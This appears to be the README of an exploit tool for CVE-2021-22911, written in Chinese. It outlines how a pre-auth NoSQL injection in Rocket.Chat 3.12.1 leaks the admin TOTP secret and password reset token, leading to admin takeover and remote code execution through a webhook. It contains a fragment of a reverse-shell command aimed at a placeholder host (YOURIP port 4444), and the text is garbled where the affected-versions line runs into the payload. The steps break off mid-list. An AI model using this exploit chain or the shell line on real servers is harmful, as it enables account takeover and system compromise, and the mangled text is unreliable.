CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE（临时编写） 描述 利用 Rocket.Chat 3.12.1 中的预认证 NoSQL 注入漏洞，泄露管理员的 TOTP 密钥和密码重置令牌，接管管理员账户，并通过恶意 webhook 集成实现 RCE。 受影响版本 Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 参数 工作原理 1. 以低权限用户身份通过 DDP 协议进行身份验证 2. 通过 NoSQL $where 注入泄露管理员 TOTP 密钥 3. 触发管理员密码重置邮件 4. 通过 NoSQL $where...